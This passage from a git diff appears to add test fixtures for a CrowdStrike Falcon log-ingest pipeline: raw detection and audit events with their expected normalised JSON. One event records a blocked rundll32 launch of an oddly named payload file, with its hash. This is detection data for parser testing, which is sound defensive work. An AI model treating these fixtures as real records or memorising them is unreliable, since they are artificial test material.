+                "id": "4345454534534545"
+            },
+            "message": "Incident score 6.1",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2023-11-02T13:43:35.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe",
+                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+                    "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
+                    "HostGroups": [
+                        "e2091491a28248eaae3ede9f217e03fc",
+                        "e837d750b8ba400c953380da346e2b04",
+                        "186c20383a98495cb0e0a7d5540f3aff",
+                        "24d1f760fcdc46d992bb8f41d7dd897b",
+                        "2b7bd0fede874baaa1afdea20f255632",
+                        "a293aded9c4548469d0e853b7267cce5",
+                        "adab9db4541040729e01d16211189a27",
+                        "b75b27ce17244922bd0a862a712ea812"
+                    ],
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
+                    "MACAddress": "02-50-41-00-00-01",
+                    "MitreAttack": [
+                        {
+                            "PatternID": "10186",
+                            "Tactic": "DefenseEvasion",
+                            "Technique": "Rundll32"
+                        }
+                    ],
+                    "Objective": "KeepAccess",
+                    "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 2048,
+                    "PatternId": "10186",
+                    "SensorId": "69027ffffffffffffaaf50",
+                    "Severity": 4,
+                    "SeverityName": "High"
+                },
+                "metadata": {
+                    "customerIDString": "abcabcabc22222",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 8695332,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Prevention,processwasblockedfromexecution.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-11-02T13:43:35.000Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186,\"MitreAttack\":[{\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"PatternID\":10186}]}}",
+                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "a52bfa4a96f97c368312028dbd7c8461",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e"
+                },
+                "name": "rundll32.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32"
+            },
+            "host": {
+                "domain": "AP",
+                "name": "INNOIDL0032"
+            },
+            "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh"
+                ],
+                "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
+                "end": "2023-11-02T13:43:34.000Z",
+                "entity_id": "54665651",
+                "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
+                "name": "rundll32.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\Explorer.EXE"
+                    ],
+                    "command_line": "C:\\Windows\\Explorer.EXE",
+                    "entity_id": "540396081",
+                    "executable": "C:\\Windows\\Explorer.EXE",
+                    "pid": 540396081
+                },
+                "pid": 54665651,
+                "start": "2023-11-02T13:43:34.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
+                    "a52bfa4a96f97c368312028dbd7c8461"
+                ],
+                "hosts": [
+                    "INNOIDL0032"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "vishnu.sharma"
+                ]
+            },
+            "rule": {
+                "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
+                "id": "ldt:690ddddddd0721205",
+                "name": "AttackerMethodology"
+            },
+            "source": {
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event",
+                "SensorGroupingTags/USB_Storage_Exception"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "DefenseEvasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Rundll32"
+                    ]
+                }
+            },
+            "user": {
+                "name": "vishnu.sharma"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log
new file mode 100644
index 0000000000..1a403c955c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log
@@ -0,0 +1,277 @@
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1045,
+        "eventType": "RemoteResponseSessionStartEvent",
+        "eventCreationTime": 1582830734000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
+        "HostnameField": "hostnameofmachine",
+        "UserName": "first.last@company.com",
+        "StartTimestamp": 1582830734
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1046,
+        "eventType": "RemoteResponseSessionEndEvent",
+        "eventCreationTime": 1582830772000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
+        "HostnameField": "hostnameofmachine",
+        "UserName": "first.last@company.com",
+        "EndTimestamp": 1582830772
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 0,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581542950710,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz",
+        "UserIp": "10.10.0.8",
+        "OperationName": "streamStarted",
+        "ServiceName": "Crowdstrike Streaming API",
+        "Success": true,
+        "UTCTimestamp": 1581542950,
+        "AuditKeyValues": [
+            {
+                "Key": "APIClientID",
+                "ValueString": "1234567890abcdefghijklmnopqr"
+            },
+            {
+                "Key": "partition",
+                "ValueString": "0"
+            },
+            {
+                "Key": "offset",
+                "ValueString": "-1"
+            },
+            {
+                "Key": "appId",
+                "ValueString": "siem-connector-v2.0.0"
+            },
+            {
+                "Key": "eventType",
+                "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581543577147,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581543577147
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 2,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581545677554,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "bob@company.com",
+        "UserIp": "192.168.6.3",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581545677554
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 3,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1581546248000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "chris@company.com",
+        "UserIp": "192.168.6.13",
+        "OperationName": "update_group",
+        "ServiceName": "groups",
+        "AuditKeyValues": [
+            {
+                "Key": "group_id",
+                "ValueString": "3c80ce30b9654cb4bd15beec6a517e65"
+            },
+            {
+                "Key": "action_name",
+                "ValueString": "add_group_member"
+            }
+        ],
+        "UTCTimestamp": 1581546248
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 4,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601312140,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "requestResetPassword",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601312140,
+        "AuditKeyValues": [
+            {
+                "Key": "target_name",
+                "ValueString": "alice@company.com"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 5,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601341730,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601341730
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 6,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601520236,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "changePassword",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601520236,
+        "AuditKeyValues": [
+            {
+                "Key": "target_name",
+                "ValueString": "first.last@company.com"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 7,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601572362,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "userAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601572362
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 8,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601814754,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601814754
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 9,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601820289,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "selfAcceptEula",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601820289
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 10,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1581603262000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "detection_update",
+        "ServiceName": "detections",
+        "AuditKeyValues": [
+            {
+                "Key": "detection_id",
+                "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"
+            },
+            {
+                "Key": "new_state",
+                "ValueString": "in_progress"
+            },
+            {
+                "Key": "assigned_to",
+                "ValueString": "First Last"
+            },
+            {
+                "Key": "assigned_to_uid",
+                "ValueString": "first.last@company.com"
+            }
+        ],
+        "UTCTimestamp": 1581603262
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json
new file mode 100644
index 0000000000..6915a16dca
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json
@@ -0,0 +1,786 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-02-27T19:12:14.000Z",
+            "crowdstrike": {
+                "event": {
+                    "SessionId": "6020260b-0398-4d41-999d-5531b55522de"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "RemoteResponseSessionStartEvent",
+                    "offset": 1045,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_start_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2020-02-27T19:12:14.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1045,\n        \"eventType\": \"RemoteResponseSessionStartEvent\",\n        \"eventCreationTime\": 1582830734000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"StartTimestamp\": 1582830734\n    }\n}",
+                "start": "2020-02-27T19:12:14.000Z",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "name": "hostnameofmachine"
+            },
+            "message": "Remote response session started.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "hostnameofmachine"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        },
+        {
+            "@timestamp": "2020-02-27T19:12:52.000Z",
+            "crowdstrike": {
+                "event": {
+                    "SessionId": "6020260b-0398-4d41-999d-5531b55522de"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "RemoteResponseSessionEndEvent",
+                    "offset": 1046,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "remote_response_session_end_event"
+                ],
+                "category": [
+                    "network",
+                    "session"
+                ],
+                "created": "2020-02-27T19:12:52.000Z",
+                "end": "2020-02-27T19:12:52.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1046,\n        \"eventType\": \"RemoteResponseSessionEndEvent\",\n        \"eventCreationTime\": 1582830772000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"EndTimestamp\": 1582830772\n    }\n}",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "name": "hostnameofmachine"
+            },
+            "message": "Remote response session ended.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "hostnameofmachine"
+                ],
+                "user": [
+                    "first.last",
+                    "first.last@company.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "first.last@company.com",
+                "name": "first.last"
+            }
+        },
+        {
+            "@timestamp": "2020-02-12T21:29:10.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "APIClientID",
+                            "ValueString": "1234567890abcdefghijklmnopqr"
+                        },
+                        {
+                            "Key": "partition",
+                            "ValueString": "0"
+                        },
+                        {
+                            "Key": "offset",
+                            "ValueString": "-1"
+                        },
+                        {
+                            "Key": "appId",
+                            "ValueString": "siem-connector-v2.0.0"
+                        },
+                        {
+                            "Key": "eventType",
+                            "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"
+                        }
+                    ],
+                    "OperationName": "streamStarted",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 0,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "streamStarted"
+                ],
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-02-12T21:29:10.710Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 0,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581542950710,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz\",\n        \"UserIp\": \"10.10.0.8\",\n        \"OperationName\": \"streamStarted\",\n        \"ServiceName\": \"Crowdstrike Streaming API\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581542950,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"APIClientID\",\n                \"ValueString\": \"1234567890abcdefghijklmnopqr\"\n            },\n            {\n                \"Key\": \"partition\",\n                \"ValueString\": \"0\"\n            },\n            {\n                \"Key\": \"offset\",\n                \"ValueString\": \"-1\"\n            },\n            {\n                \"Key\": \"appId\",\n                \"ValueString\": \"siem-connector-v2.0.0\"\n            },\n            {\n                \"Key\": \"eventType\",\n                \"ValueString\": \"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]\"\n            }\n        ]\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "Crowdstrike Streaming API",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "10.10.0.8"
+                ],
+                "user": [
+                    "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz"
+                ]
+            },
+            "source": {
+                "ip": "10.10.0.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz"
+            }
+        },
+        {
+            "@timestamp": "2020-02-12T21:39:37.147Z",
+            "crowdstrike": {
+                "event": {
+                    "OperationName": "twoFactorAuthenticate",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "twoFactorAuthenticate"
+                ],
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-02-12T21:39:37.147Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 1,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581543577147,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"alice@company.com\",\n        \"UserIp\": \"192.168.6.8\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581543577147\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.8"
+                ],
+                "user": [
+                    "alice",
+                    "alice@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.8"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "alice@company.com",
+                "name": "alice"
+            }
+        },
+        {
+            "@timestamp": "2020-02-12T22:14:37.554Z",
+            "crowdstrike": {
+                "event": {
+                    "OperationName": "twoFactorAuthenticate",
+                    "Success": true
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "AuthActivityAuditEvent",
+                    "offset": 2,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": [
+                    "twoFactorAuthenticate"
+                ],
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-02-12T22:14:37.554Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 2,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1581545677554,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"bob@company.com\",\n        \"UserIp\": \"192.168.6.3\",\n        \"OperationName\": \"twoFactorAuthenticate\",\n        \"ServiceName\": \"CrowdStrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1581545677554\n    }\n}",
+                "outcome": "success"
+            },
+            "message": "CrowdStrike Authentication",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.3"
+                ],
+                "user": [
+                    "bob",
+                    "bob@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.3"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "bob@company.com",
+                "name": "bob"
+            }
+        },
+        {
+            "@timestamp": "2020-02-12T22:24:08.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AuditKeyValues": [
+                        {
+                            "Key": "group_id",
+                            "ValueString": "3c80ce30b9654cb4bd15beec6a517e65"
+                        },
+                        {
+                            "Key": "action_name",
+                            "ValueString": "add_group_member"
+                        }
+                    ],
+                    "ServiceName": "groups"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "UserActivityAuditEvent",
+                    "offset": 3,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "user_activity_audit_event",
+                "category": [
+                    "iam"
+                ],
+                "created": "2020-02-12T22:24:08.000Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 3,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1581546248000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"chris@company.com\",\n        \"UserIp\": \"192.168.6.13\",\n        \"OperationName\": \"update_group\",\n        \"ServiceName\": \"groups\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"group_id\",\n                \"ValueString\": \"3c80ce30b9654cb4bd15beec6a517e65\"\n            },\n            {\n                \"Key\": \"action_name\",\n                \"ValueString\": \"add_group_member\"\n            }\n        ],\n        \"UTCTimestamp\": 1581546248\n    }\n}",
+                "type": [
+                    "change"
+                ]
+            },
+            "message": "update_group",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "192.168.6.13"
+                ],
+                "user": [
+                    "chris",
+                    "chris@company.com"
+                ]
+            },
+            "source": {
+                "ip": "192.168.6.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "company.com",
+                "email": "chris@company.com",
+                "name": "chris"
+            }
+        },
+        {
+            "@timestamp": "2020-02-13T13:41:52.140Z",
